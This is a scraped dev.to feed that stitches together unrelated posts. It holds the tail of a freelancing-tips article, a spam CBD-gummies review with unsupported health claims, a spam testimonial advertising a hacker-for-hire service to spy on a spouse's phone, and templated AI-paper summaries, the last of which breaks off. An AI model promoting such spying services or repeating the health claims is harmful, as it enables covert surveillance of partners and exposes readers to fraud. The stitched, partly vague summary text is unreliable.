Avoid discussing technology with the client, as they generally only care about the final product. Use your preferred stack or third-party services, and choose the hosting provider you like.
**Seek Help When Needed**
If you cannot accomplish a task or complete the job, reach out and hire another developer to help you. If you cannot find help, provide a refund and apologize.
**Set Clear Expectations**
Set clear expectations with the client about timelines and deliverables to avoid misunderstandings. If they do not already have a website, inform them that they will need to pay for a domain name and monthly hosting. If their requirements include a third-party service with a recurring monthly fee, make sure they are aware of this cost upfront. All of these details should be communicated to the client from the beginning.
**Secure Payment Methods**
Collect payment through Stripe, Venmo, or any other reliable platform.
**Protect Your Work**
A written contract or agreement won't always protect you, as people can still fail to pay. If you build a website for someone and they haven't paid you, ensure you retain access to everything so you can take it down until payment is made.
## Conclusion
I hope these takeaways have been helpful and given you some things to consider if you plan to pursue freelancing as a developer.
**Summary of Key Takeaways:**
- Understand Client Goals
- Set a Minimum Price
- Maintenance Plan
- Charge for Extras
- Milestone Payments
- Client Communication
- Seek Help When Needed
- Set Clear Expectations
- Secure Payment Methods
- Protect Your Work
| miguel_c |
1,881,702 | Manup Cbd Gummies Canada Review : Boost Your Sex Life ? | Manup CBD Gummies Canada Review : of Benefits and Usages, Manup CBD Gummies offer a promising natural... | 0 | 2024-06-09T02:03:00 | https://dev.to/sharvirajput/manup-cbd-gummies-canada-review-boost-your-sex-life--2oc1 | Manup CBD Gummies Canada Review : of Benefits and Usages,
Manup CBD Gummies offer a promising natural solution for those seeking relief from pain, anxiety, and sleep issues. Their commitment to quality, ease of use, and the multitude of positive user experiences position them as a top choice in the Canadian market. As with any supplement, it’s advisable to consult with a healthcare provider before starting, especially for those with underlying health conditions or those taking other medications. Overall, Manup CBD Gummies represent a practical, natural approach to enhancing well-being in our fast-paced world.
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| sharvirajput | |
1,881,701 | SPY ON SUSPICIOUS SPOUSE THROUGH CYBERPUNK PROGRAMMERS | I made a decision to contact CYBERPUNK PROGRAMMERS after seeing tons of recommendations online about... | 0 | 2024-06-09T01:54:18 | https://dev.to/chloe_madison_8fdd6fef85a/spy-on-suspicious-spouse-through-cyberpunk-programmers-53ei | catchcheatindspouse, recoverdeletedmessage, trackphone, spyonphone | I made a decision to contact CYBERPUNK PROGRAMMERS after seeing tons of recommendations online about their hacking services. Their website is cyberpunkers dot org. No marriage is perfect all the time but I thought we were happy and had something special between us. Yet I had a nagging concern as I had seen signs of my husband changing towards me over the past year. He seemed to be withdrawing from me. He spent most of his spare time at the gym or working late. When he finally came home, he absorbed himself with the television telling me he was too tired to talk. Seeing that he was so tired led me to believe that he was mentally exhausted from working in our business. I felt guilty that he had to work so hard and was so worn out. Sadly I didn't know the truth about why he was so tired. Nor did I understand why he was withdrawing his love from me. | chloe_madison_8fdd6fef85a |
1,881,694 | Know Your Neighborhood: General and Zero-Shot Capable Binary Function Search Powered by Call Graphlets | Know Your Neighborhood: General and Zero-Shot Capable Binary Function Search Powered by Call Graphlets | 0 | 2024-06-09T01:37:54 | https://aimodels.fyi/papers/arxiv/know-your-neighborhood-general-zero-shot-capable | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Know Your Neighborhood: General and Zero-Shot Capable Binary Function Search Powered by Call Graphlets](https://aimodels.fyi/papers/arxiv/know-your-neighborhood-general-zero-shot-capable). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This research paper introduces a novel approach to binary function search powered by call graphlets, which enables general and zero-shot capable binary function search.
- The key contributions include a new representation of binary functions using call graphlets, a zero-shot capable binary function search approach, and comprehensive evaluations on real-world datasets.
- The research leverages [graph neural networks for binary programming](https://aimodels.fyi/papers/arxiv/graph-neural-networks-binary-programming) and [techniques for uncovering LLM-generated code](https://aimodels.fyi/papers/arxiv/uncovering-llm-generated-code-zero-shot-synthetic) to achieve these advancements.
## Plain English Explanation
The paper presents a new way to search for and identify binary functions, which are the basic building blocks of computer programs. Traditionally, searching for binary functions has been a challenging task, as they can be obfuscated or modified in complex ways. The researchers have developed a novel approach that uses "call graphlets" - small, representative subgraphs extracted from the call graph of a binary function - to create a unique representation of each function.
This representation allows the researchers to perform general and zero-shot capable binary function search. "General" means the system can search for functions regardless of the programming language or compilation process used to create them. "Zero-shot" means the system can identify functions it has never seen before, without any additional training. This is a significant advancement, as it allows the system to be used in a wider range of scenarios, such as [detecting source code clones](https://aimodels.fyi/papers/arxiv/advanced-detection-source-code-clones-via-ensemble) or [explaining the behavior of binary programs](https://aimodels.fyi/papers/arxiv/training-neural-network-to-explain-binaries).
The researchers evaluate their approach on real-world datasets and demonstrate its effectiveness in accurately identifying binary functions, even in the face of obfuscation or other challenges. This work represents an important step forward in the field of binary analysis, with potential applications in cybersecurity, software engineering, and other domains.
## Technical Explanation
The core of the researchers' approach is the use of call graphlets to represent binary functions. A call graph is a visual representation of the function calls within a program, and a graphlet is a small, representative subgraph extracted from this larger graph. By representing each binary function as a collection of call graphlets, the researchers are able to create a unique "fingerprint" for each function that captures its structure and behavior.
To perform binary function search, the researchers use a [differentiable cluster graph neural network](https://aimodels.fyi/papers/arxiv/differentiable-cluster-graph-neural-network) model to learn the representations of the call graphlets. This allows the model to generalize to new, unseen functions, enabling the zero-shot capability. The researchers also incorporate techniques from the field of [uncovering LLM-generated code](https://aimodels.fyi/papers/arxiv/uncovering-llm-generated-code-zero-shot-synthetic) to further enhance the model's ability to identify novel functions.
Through comprehensive evaluations on real-world datasets, the researchers demonstrate that their approach outperforms existing binary function search methods, particularly in scenarios where the functions have been obfuscated or modified. They also discuss the potential limitations of their approach, such as the need for further research to address more advanced obfuscation techniques.
## Critical Analysis
The researchers have made a significant contribution to the field of binary analysis with their novel approach to binary function search. The use of call graphlets as a representation of binary functions is a clever and effective idea, as it captures the structure and behavior of the functions in a way that is both unique and generalizable.
One potential limitation of the approach, as mentioned in the paper, is its ability to handle more advanced obfuscation techniques. While the researchers have demonstrated the effectiveness of their method on real-world datasets, it's possible that more sophisticated obfuscation techniques could still pose a challenge. Additionally, the researchers do not address the potential ethical implications of their work, such as the potential for misuse in malware analysis or reverse engineering.
That said, the researchers' work represents an important step forward in the field of binary analysis, with potential applications in [cybersecurity](https://aimodels.fyi/papers/arxiv/advanced-detection-source-code-clones-via-ensemble), software engineering, and other domains. The use of graph neural networks and techniques from the field of [uncovering LLM-generated code](https://aimodels.fyi/papers/arxiv/uncovering-llm-generated-code-zero-shot-synthetic) is particularly promising, and the researchers' focus on generalization and zero-shot capability is a valuable contribution.
## Conclusion
The research paper introduces a novel approach to binary function search powered by call graphlets, which enables general and zero-shot capable binary function search. This work represents a significant advancement in the field of binary analysis, with potential applications in cybersecurity, software engineering, and other domains. The use of call graphlets as a representation of binary functions, combined with the researchers' innovative use of graph neural networks and techniques from the field of uncovering LLM-generated code, allows for highly effective and generalizable binary function search. While the approach has some limitations, particularly in its ability to handle advanced obfuscation techniques, the researchers have demonstrated the power and potential of their approach through comprehensive evaluations on real-world datasets.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,693 | Scalable MatMul-free Language Modeling | Scalable MatMul-free Language Modeling | 0 | 2024-06-09T01:37:20 | https://aimodels.fyi/papers/arxiv/scalable-matmul-free-language-modeling | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Scalable MatMul-free Language Modeling](https://aimodels.fyi/papers/arxiv/scalable-matmul-free-language-modeling). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper presents a novel language modeling approach that avoids the computationally expensive matrix multiplication (MatMul) operations typically used in transformer-based models.
- The proposed method, called Scalable MatMul-free Language Modeling, aims to improve the efficiency and scalability of large language models without sacrificing performance.
- Key innovations include the use of [Transformer-Lite](https://aimodels.fyi/papers/arxiv/transformer-lite-high-efficiency-deployment-large-language) and [Integer-only Inference](https://aimodels.fyi/papers/arxiv/i-llm-efficient-integer-only-inference-fully) techniques to enable efficient model execution.
## Plain English Explanation
The paper describes a new way to build large language models, such as those used in chatbots and text generation, that is more efficient and scalable than traditional approaches. Instead of relying on the computationally intensive matrix multiplication (MatMul) operations commonly used in transformer-based models, the researchers have developed a novel technique called Scalable MatMul-free Language Modeling.
This new method uses a simplified version of the transformer architecture, called [Transformer-Lite](https://aimodels.fyi/papers/arxiv/transformer-lite-high-efficiency-deployment-large-language), and [Integer-only Inference](https://aimodels.fyi/papers/arxiv/i-llm-efficient-integer-only-inference-fully) to perform language modeling tasks without the need for expensive matrix multiplication. By avoiding these computationally intensive operations, the model can run more efficiently, especially on resource-constrained devices like smartphones or embedded systems.
The key idea is to find alternative ways to perform the core language modeling tasks, such as predicting the next word in a sequence, without relying on matrix multiplication. This allows the model to be more scalable, as it can be deployed on a wider range of hardware and be used in more applications where efficiency is crucial.
## Technical Explanation
The paper introduces a new language modeling approach called Scalable MatMul-free Language Modeling, which aims to improve the efficiency and scalability of large language models without sacrificing performance.
The core innovation is the use of [Transformer-Lite](https://aimodels.fyi/papers/arxiv/transformer-lite-high-efficiency-deployment-large-language), a simplified version of the transformer architecture that avoids the computationally expensive matrix multiplication (MatMul) operations typically used in transformer-based models. Additionally, the researchers employ [Integer-only Inference](https://aimodels.fyi/papers/arxiv/i-llm-efficient-integer-only-inference-fully) techniques to further optimize the model's execution.
The authors demonstrate the effectiveness of their approach through experiments on a range of language modeling benchmarks, including [language models that can do arithmetic](https://aimodels.fyi/papers/arxiv/language-models-do-hard-arithmetic-tasks-easily), [word embedding](https://aimodels.fyi/papers/arxiv/language-models-implement-simple-word2vec-style-vector) tasks, and [evaluations of computational energy performance](https://aimodels.fyi/papers/arxiv/evaluation-computational-energy-performance-matrix-multiplication-algorithms). The results show that the Scalable MatMul-free Language Modeling approach can achieve comparable or even better performance than traditional transformer-based models, while being significantly more efficient and scalable.
## Critical Analysis
The paper presents a novel and promising approach to improving the efficiency and scalability of large language models, but there are a few potential limitations and areas for further research:
1. **Generalization to More Complex Tasks**: The experiments in the paper focus on relatively simple language modeling tasks, such as next-word prediction. It's unclear how well the Scalable MatMul-free approach would generalize to more complex natural language processing tasks, such as question answering or text summarization, which may require more sophisticated modeling capabilities.
2. **Hardware Dependence**: The efficiency gains of the Scalable MatMul-free approach are likely to be highly dependent on the specific hardware and software environment in which the models are deployed. The authors should investigate the performance of their approach on a wider range of hardware platforms, including mobile and edge devices, to better understand its real-world applicability.
3. **Tradeoffs in Model Accuracy**: While the paper demonstrates that the Scalable MatMul-free models can achieve comparable or even better performance than traditional transformer-based models, there may be inherent tradeoffs in model accuracy that need to be further explored. The authors should investigate the extent to which the efficiency gains come at the cost of model performance, especially on more complex tasks.
4. **Interpretability and Explanability**: As with many modern neural network-based models, the Scalable MatMul-free approach may suffer from a lack of interpretability and explanability. The authors should consider ways to make the inner workings of their models more transparent and understandable, which could help build trust and adoption in real-world applications.
Overall, the Scalable MatMul-free Language Modeling approach presented in this paper is a promising step towards more efficient and scalable large language models. However, further research and evaluation are needed to fully understand its capabilities, limitations, and potential tradeoffs.
## Conclusion
This paper introduces a novel language modeling approach called Scalable MatMul-free Language Modeling, which aims to improve the efficiency and scalability of large language models without sacrificing performance. The key innovations include the use of [Transformer-Lite](https://aimodels.fyi/papers/arxiv/transformer-lite-high-efficiency-deployment-large-language) and [Integer-only Inference](https://aimodels.fyi/papers/arxiv/i-llm-efficient-integer-only-inference-fully) techniques to enable efficient model execution by avoiding computationally expensive matrix multiplication operations.
The experimental results demonstrate that the Scalable MatMul-free approach can achieve comparable or even better performance than traditional transformer-based models, while being significantly more efficient and scalable. This has important implications for the deployment of large language models in a wide range of applications, especially on resource-constrained devices where efficiency is crucial.
However, the paper also highlights several potential limitations and areas for further research, such as the generalization to more complex tasks, the dependence on specific hardware and software environments, the potential tradeoffs in model accuracy, and the need for improved interpretability and explanability. Continued research and development in this direction could lead to even more efficient and capable language models that can be deployed more widely and have a greater impact on various real-world applications.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,692 | Wav2Prompt: End-to-End Speech Prompt Generation and Tuning For LLM in Zero and Few-shot Learning | Wav2Prompt: End-to-End Speech Prompt Generation and Tuning For LLM in Zero and Few-shot Learning | 0 | 2024-06-09T01:36:46 | https://aimodels.fyi/papers/arxiv/wav2prompt-end-to-end-speech-prompt-generation | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Wav2Prompt: End-to-End Speech Prompt Generation and Tuning For LLM in Zero and Few-shot Learning](https://aimodels.fyi/papers/arxiv/wav2prompt-end-to-end-speech-prompt-generation). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper, "Wav2Prompt: End-to-End Speech Prompt Generation and Tuning For LLM in Zero and Few-shot Learning," presents a novel approach for generating textual prompts from speech inputs to enable large language models (LLMs) to perform zero-shot and few-shot learning tasks.
- The proposed Wav2Prompt framework aims to bridge the gap between speech and language models, allowing users to leverage speech as an intuitive interface for interacting with LLMs.
- The system is designed to work in both zero-shot and few-shot learning scenarios, where the language model is required to perform tasks with limited or no training data.
## Plain English Explanation
The paper introduces a system called Wav2Prompt that can take speech input and automatically generate a text prompt for a large language model (LLM) to use. This allows users to interact with LLMs using their voice, rather than having to type out prompts.
The key idea is that Wav2Prompt can "translate" speech into the kind of textual prompt that an LLM expects as input. This is useful in situations where the user doesn't have much training data to work with - the "zero-shot" and "few-shot" learning scenarios mentioned in the paper.
For example, imagine you wanted to use an LLM to summarize a document, but you only had a couple of examples to train the model on. Wav2Prompt could let you just speak your instructions, and it would generate the right prompt for the LLM to use. This makes it much easier to get an LLM to perform new tasks without needing lots of training data.
## Technical Explanation
The Wav2Prompt framework consists of two main components:
1. A speech-to-text module that converts the input speech into text. This uses a pre-trained automatic speech recognition (ASR) model.
2. A prompt generation module that takes the text output from the ASR model and produces a prompt that can be used to fine-tune the target LLM for the desired task. This module is trained on a dataset of speech-prompt pairs.
The key innovation is that the prompt generation module is trained end-to-end, allowing it to learn the mapping between speech and the optimal prompts for different tasks, without requiring manual prompt engineering.
The paper evaluates Wav2Prompt on a range of zero-shot and few-shot learning tasks, including text summarization, question answering, and sentiment analysis. The results show that Wav2Prompt can effectively generate prompts that enable the LLM to perform these tasks, even with limited training data.
## Critical Analysis
The paper presents a promising approach for integrating speech and language models, but there are some potential limitations and areas for further research:
- The performance of Wav2Prompt is still dependent on the quality of the underlying ASR and LLM models. Improvements in these foundational components could further enhance the end-to-end system.
- The paper focuses on relatively simple tasks like summarization and sentiment analysis. Extending Wav2Prompt to more complex, open-ended tasks may require additional architectural innovations or larger training datasets.
- The paper does not address potential biases or ethical concerns that could arise from using speech-based prompts to control LLMs. These issues will need to be carefully considered as the technology matures.
Despite these caveats, the Wav2Prompt framework represents an important step towards making large language models more accessible and intuitive to use, particularly in zero-shot and few-shot learning scenarios. As AI systems become more ubiquitous, bridging the gap between speech and language will be a critical capability.
## Conclusion
The Wav2Prompt paper presents a novel approach for generating textual prompts from speech inputs, enabling users to leverage large language models through a more natural, voice-based interface. By automating the prompt engineering process, Wav2Prompt has the potential to make LLMs more accessible and usable, especially in situations where limited training data is available.
While the current system has some limitations, the underlying concept of seamlessly integrating speech and language models is a significant advancement that could have far-reaching implications for the future of human-AI interaction. As the field of language AI continues to evolve, techniques like Wav2Prompt will likely play an increasingly important role in making these powerful models more intuitive and user-friendly.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,691 | Battleship! | Hello everyone! This is my first venture into making a terminal game. It's a simple battleship game.... | 0 | 2024-06-09T01:36:13 | https://dev.to/724nathanco/battleship-15d5 | python | Hello everyone! This is my first venture into making a terminal game. It's a simple battleship game. While there is still room to add more functionality and make it more aesthetically pleasing, I am happy with how it turned out.
Each player is a class. Using the input function, each player is prompted to pick a size, latitude, and longitudinal starting point for their battleship. After each player inputs their numbers, a function is called which creates a list of tuples, which act as coordinates, for each players' ship.
Next the players are prompted to enter a latitude and longitude to guess their opponent's coordinates. If the latitude and longitude is a tuple in their opponent's coordinate list, then that tuple is popped out of the list, and the text, "You hit my battleship!" is displayed. If it is not a tuple in the list, "miss" is passed to the terminal screen. And, if the length of the list is 0 after "hitting" a coordinate, "You sunk my battleship!" is printed, and the game is over. Here is a link to the code on github:
[https://github.com/724nathanco/Battleship/blob/main/Fuckyou.py](url)
Check it out, and give it a try! In the future, I may try to add the option to add more ships.
P.S. Sorry for the vulgar file name. I had created the file as battleship.py, but somehow all the contents were erased after I had finished it. So, I had to do it all over again, and I was pretty upset. | 724nathanco |
1,881,690 | Bootstrap3D: Improving 3D Content Creation with Synthetic Data | Bootstrap3D: Improving 3D Content Creation with Synthetic Data | 0 | 2024-06-09T01:36:11 | https://aimodels.fyi/papers/arxiv/bootstrap3d-improving-3d-content-creation-synthetic-data | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Bootstrap3D: Improving 3D Content Creation with Synthetic Data](https://aimodels.fyi/papers/arxiv/bootstrap3d-improving-3d-content-creation-synthetic-data). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper introduces Bootstrap3D, a method for improving 3D content creation using synthetic data.
- The key idea is to leverage large collections of 3D shapes and scenes to generate high-quality synthetic data, which can then be used to train 3D generation models.
- The authors demonstrate that this approach outperforms previous methods for 3D content creation, enabling the generation of more diverse, compositional, and realistic 3D scenes.
## Plain English Explanation
The paper presents a new technique called Bootstrap3D that makes it easier to create 3D digital content, such as 3D models and scenes. The core insight is to use large existing collections of 3D shapes and scenes to generate synthetic training data. This synthetic data can then be used to train machine learning models that can generate new 3D content.
The key advantage of this approach is that it allows 3D content to be created more efficiently and with greater diversity than previous methods. By leveraging large existing 3D datasets, the models can learn to produce a wide variety of 3D shapes and scenes, rather than being limited to a narrow set of predefined options. This makes the 3D content creation process more flexible and accessible.
The researchers demonstrate that 3D models trained on this synthetic data outperform previous state-of-the-art methods, generating more realistic and visually appealing 3D content. This work has important implications for applications like video game development, virtual reality, and 3D printing, where the ability to quickly create high-quality 3D content is crucial.
## Technical Explanation
The key technical innovation in this paper is the use of [Bootstrap3D](https://aimodels.fyi/papers/arxiv/bootstrap-3d-reconstructed-scenes-from-3d-gaussian), a method for leveraging large collections of 3D shapes and scenes to generate high-quality synthetic training data. This data is then used to train 3D generation models, such as [GRounded Compositional Diverse Text-to-3D](https://aimodels.fyi/papers/arxiv/grounded-compositional-diverse-text-to-3d-pretrained) and [MVDream](https://aimodels.fyi/papers/arxiv/mvdream-multi-view-diffusion-3d-generation), that can produce diverse and realistic 3D content.
The paper also introduces novel techniques for improving the quality and diversity of the generated 3D content, such as [MAGIC-Boost](https://aimodels.fyi/papers/arxiv/magic-boost-boost-3d-generation-mutli-view) and [DiffusionDollar2Dollar](https://aimodels.fyi/papers/arxiv/diffusiondollar2dollar-dynamic-3d-content-generation-via-score). These methods leverage multi-view rendering, compositional constraints, and score-based diffusion models to generate 3D scenes that are more visually appealing and compositionally diverse than previous approaches.
The authors conduct extensive experiments to evaluate the performance of their methods, comparing them to state-of-the-art 3D generation techniques on a variety of metrics. The results demonstrate that the proposed approach significantly outperforms existing methods, highlighting the power of leveraging synthetic data for 3D content creation.
## Critical Analysis
One potential limitation of the Bootstrap3D approach is the reliance on large existing datasets of 3D shapes and scenes. While the authors demonstrate the effectiveness of this approach, the availability and quality of these datasets may vary, which could impact the performance of the trained models.
Additionally, the paper does not address potential biases or skewed representations in the underlying 3D datasets, which could be reflected in the generated content. Further research may be needed to ensure that the 3D content produced by these models is inclusive and representative of diverse perspectives.
Another area for further investigation is the scalability and computational efficiency of the proposed methods. As the size and complexity of 3D scenes continue to grow, the training and inference time of these models may become a bottleneck, limiting their practical applicability.
Despite these potential concerns, the overall contribution of this work is significant, as it demonstrates the power of leveraging synthetic data to advance the state-of-the-art in 3D content creation. The techniques introduced in this paper have the potential to greatly streamline and democratize the process of 3D modeling and scene design.
## Conclusion
This paper presents a novel approach, called Bootstrap3D, for improving 3D content creation using synthetic data. By leveraging large collections of 3D shapes and scenes, the authors demonstrate that they can train 3D generation models that outperform previous state-of-the-art methods, enabling the creation of more diverse, compositional, and realistic 3D content.
The implications of this research are far-reaching, as it has the potential to transform the way 3D content is created across a wide range of applications, from video game development and virtual reality to 3D printing and architectural visualization. As the field of 3D modeling continues to evolve, the techniques introduced in this paper represent an important step forward in making 3D content creation more accessible and efficient.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,689 | Graph Convolutional Branch and Bound | Graph Convolutional Branch and Bound | 0 | 2024-06-09T01:35:37 | https://aimodels.fyi/papers/arxiv/graph-convolutional-branch-bound | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Graph Convolutional Branch and Bound](https://aimodels.fyi/papers/arxiv/graph-convolutional-branch-bound). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper demonstrates the effectiveness of using a deep learning model in an optimization pipeline for a complex problem.
- The researchers tackle the Traveling Salesman Problem (TSP), a well-known NP-hard optimization problem.
- They compare a classical branch-and-bound algorithm to a hybrid version that integrates a graph convolutional neural network.
- The results show the hybrid approach outperforms the classical algorithm, highlighting the potential of deep learning to expedite the search for optimal solutions.
## Plain English Explanation
The paper looks at how [deep learning models](https://aimodels.fyi/papers/arxiv/sample-complexity-algorithm-selection-using-neural-networks) can be used to improve optimization algorithms for complex problems. Optimization problems involve finding the best solution from a large set of possibilities, like the [Traveling Salesman Problem](https://en.wikipedia.org/wiki/Travelling_salesman_problem) where you need to find the shortest route to visit a set of cities.
Traditionally, optimization algorithms use various heuristic rules to guide the search for the best solution. The researchers show how [neural networks](https://aimodels.fyi/papers/arxiv/constrained-neural-networks-interpretable-heuristic-creation-to) can be used to quickly learn valuable information that helps the algorithm find the optimal solution more efficiently.
They start with a classical optimization algorithm called branch-and-bound, which systematically explores the solution space. They then create a hybrid version that integrates a [graph convolutional neural network](https://aimodels.fyi/papers/arxiv/graph-neural-networks-binary-programming) to provide additional guidance. The results demonstrate that this hybrid approach outperforms the classical algorithm, suggesting that [deep learning can enhance optimization](https://aimodels.fyi/papers/arxiv/deep-learning-enhanced-mixed-integer-optimization-learning) by rapidly identifying promising search directions.
## Technical Explanation
The researchers tackle the Traveling Salesman Problem (TSP), a well-known NP-hard optimization problem. They begin by describing a classical branch-and-bound algorithm used to solve TSP instances. This algorithm systematically explores the space of all possible solutions, using various heuristic criteria to guide the search towards an optimal solution.
To enhance the branch-and-bound algorithm, the researchers integrate a [graph convolutional neural network](https://aimodels.fyi/papers/arxiv/graph-neural-networks-binary-programming) that can rapidly acquire valuable information about the problem structure. This hybrid approach, called Graph Convolutional Branch and Bound (GCBB), leverages the neural network to identify more expedient paths within the vast solution space.
The performance of the classical branch-and-bound algorithm is compared to the GCBB approach on a range of TSP instances. The empirical results demonstrate that the GCBB method consistently outperforms the classical algorithm, leading to significant improvements in solution quality and computational efficiency.
## Critical Analysis
The paper provides a compelling demonstration of how [deep learning can be integrated into optimization algorithms](https://aimodels.fyi/papers/arxiv/deep-learning-enhanced-mixed-integer-optimization-learning) to enhance their performance. The researchers acknowledge that the GCBB approach relies on the availability of a large dataset of TSP instances, which may limit its practical applicability in some scenarios.
Additionally, the paper does not explore the potential limitations or failure modes of the GCBB approach. It would be valuable to understand the types of problems or instances where the neural network-based guidance may be less effective or even detrimental to the optimization process.
Further research could investigate the [generalization capabilities of the GCBB approach](https://aimodels.fyi/papers/arxiv/sample-complexity-algorithm-selection-using-neural-networks), exploring how well the trained neural network performs on TSP instances that differ significantly from the training data. Analyzing the interpretability and [explainability of the neural network's heuristics](https://aimodels.fyi/papers/arxiv/constrained-neural-networks-interpretable-heuristic-creation-to) could also provide valuable insights into the optimization process.
## Conclusion
This paper demonstrates the potential of [integrating deep learning into optimization algorithms](https://aimodels.fyi/papers/arxiv/deep-learning-enhanced-mixed-integer-optimization-learning) to enhance their performance. By leveraging a graph convolutional neural network to guide the search within the Traveling Salesman Problem, the researchers were able to achieve significant improvements in solution quality and computational efficiency compared to a classical optimization algorithm.
The findings suggest that [deep learning can be a powerful tool](https://aimodels.fyi/papers/arxiv/genetic-algorithms-neural-cost-predictor-solving-hierarchical) for expediting the search for optimal solutions in complex optimization problems, with potential applications across a wide range of domains.
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1,881,688 | Scalable Detection of Salient Entities in News Articles | Scalable Detection of Salient Entities in News Articles | 0 | 2024-06-09T01:35:02 | https://aimodels.fyi/papers/arxiv/scalable-detection-salient-entities-news-articles | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Scalable Detection of Salient Entities in News Articles](https://aimodels.fyi/papers/arxiv/scalable-detection-salient-entities-news-articles). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper presents a scalable approach for detecting salient entities in news articles using transformers.
- The proposed method leverages contextual information to effectively identify important entities that are relevant to the main topics covered in the article.
- The authors evaluate their approach on several datasets and show that it outperforms existing entity salience detection techniques.
## Plain English Explanation
In this research, the authors introduce a new way to automatically identify the most important people, places, and things mentioned in news articles. They use a type of machine learning model called a transformer to analyze the context and content of the articles and determine which entities (like people or organizations) are the most relevant and significant.
This is an important task because being able to quickly find the key entities in a news story can help readers understand the main topics and events being covered. It can also be useful for applications like [summarizing articles](https://aimodels.fyi/papers/arxiv/leveraging-contextual-information-effective-entity-salience-detection) or [extracting information](https://aimodels.fyi/papers/arxiv/fine-grained-named-entities-corona-news) from large collections of news data.
The researchers show that their transformer-based approach outperforms previous methods for detecting salient entities. This suggests it could be a valuable tool for analyzing the vast amount of news content that is produced every day.
## Technical Explanation
The core of the proposed approach is a transformer-based model that learns to predict the salience of entities mentioned in a news article. The model takes the full text of the article as input and outputs a salience score for each entity, indicating how important or relevant that entity is to the main topics covered.
The key innovation is the way the model leverages contextual information from the article to make these salience predictions. Rather than just looking at the entity itself, the transformer model considers the surrounding text and uses that context to better understand the entity's significance.
The authors evaluate their method on several benchmark datasets for entity salience detection. They show that it achieves state-of-the-art performance, outperforming previous techniques that relied more on simple entity-level features or [event-based embeddings](https://aimodels.fyi/papers/arxiv/novel-method-news-article-event-based-embedding).
## Critical Analysis
One limitation of the paper is that it focuses solely on news articles, and the generalizability of the approach to other domains like [scientific literature](https://aimodels.fyi/papers/arxiv/intent-detection-entity-extraction-from-biomedical-literature) or [social media](https://aimodels.fyi/papers/arxiv/from-text-to-context-entailment-approach-news) is not explored. The authors acknowledge this and suggest it as an area for future work.
Additionally, the evaluation is limited to entity salience detection, but the potential applications of this technology, such as [summarization or question answering](https://aimodels.fyi/papers/arxiv/leveraging-contextual-information-effective-entity-salience-detection), are not thoroughly investigated. It would be interesting to see how the salience predictions could be leveraged in downstream NLP tasks.
Overall, this research presents a novel and effective approach for identifying salient entities in news articles. While there are some avenues for further exploration, the results demonstrate the value of using transformers to capture contextual cues for this important text mining task.
## Conclusion
This paper introduces a scalable method for detecting salient entities in news articles using transformer-based models. The key innovation is the way the approach leverages the full context of the article to better understand the significance of each mentioned entity.
The authors show that their technique outperforms previous state-of-the-art methods for entity salience detection, suggesting it could be a valuable tool for applications like summarization, information extraction, and knowledge graph construction from large news corpora. While the current evaluation is limited to the news domain, the general approach could potentially be extended to other text-based applications as well.
Overall, this research represents an important advance in the field of text mining and natural language processing, with practical implications for how we extract and organize information from the growing volume of online news content.
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1,881,687 | Language Agent Tree Search Unifies Reasoning Acting and Planning in Language Models | Language Agent Tree Search Unifies Reasoning Acting and Planning in Language Models | 0 | 2024-06-09T01:33:54 | https://aimodels.fyi/papers/arxiv/language-agent-tree-search-unifies-reasoning-acting | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Language Agent Tree Search Unifies Reasoning Acting and Planning in Language Models](https://aimodels.fyi/papers/arxiv/language-agent-tree-search-unifies-reasoning-acting). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- Proposes a novel "Language Agent Tree Search" (LATS) framework that unifies reasoning, acting, and planning in large language models
- Demonstrates improvements on tasks like question answering, language-conditioned control, and task planning compared to existing approaches
- Introduces novel techniques like decoupling of value and policy networks, uncertainty-aware search, and multi-task training
## Plain English Explanation
The paper presents a new framework called "Language Agent Tree Search" (LATS) that aims to improve the capabilities of large language models (LLMs) by combining reasoning, acting, and planning.
Current LLMs excel at language tasks like question answering, but often struggle with tasks that require more structured reasoning, decision-making, and planning. The LATS framework addresses this by training the LLM to not just understand language, but to use that understanding to plan a sequence of actions to accomplish complex goals.
The key innovation is that LATS decouples the model into separate "value" and "policy" networks. The value network evaluates the expected outcome of different possible actions, while the policy network decides which action to take. This allows the model to carefully reason through the consequences of its decisions during a tree search, rather than just outputting the most likely response.
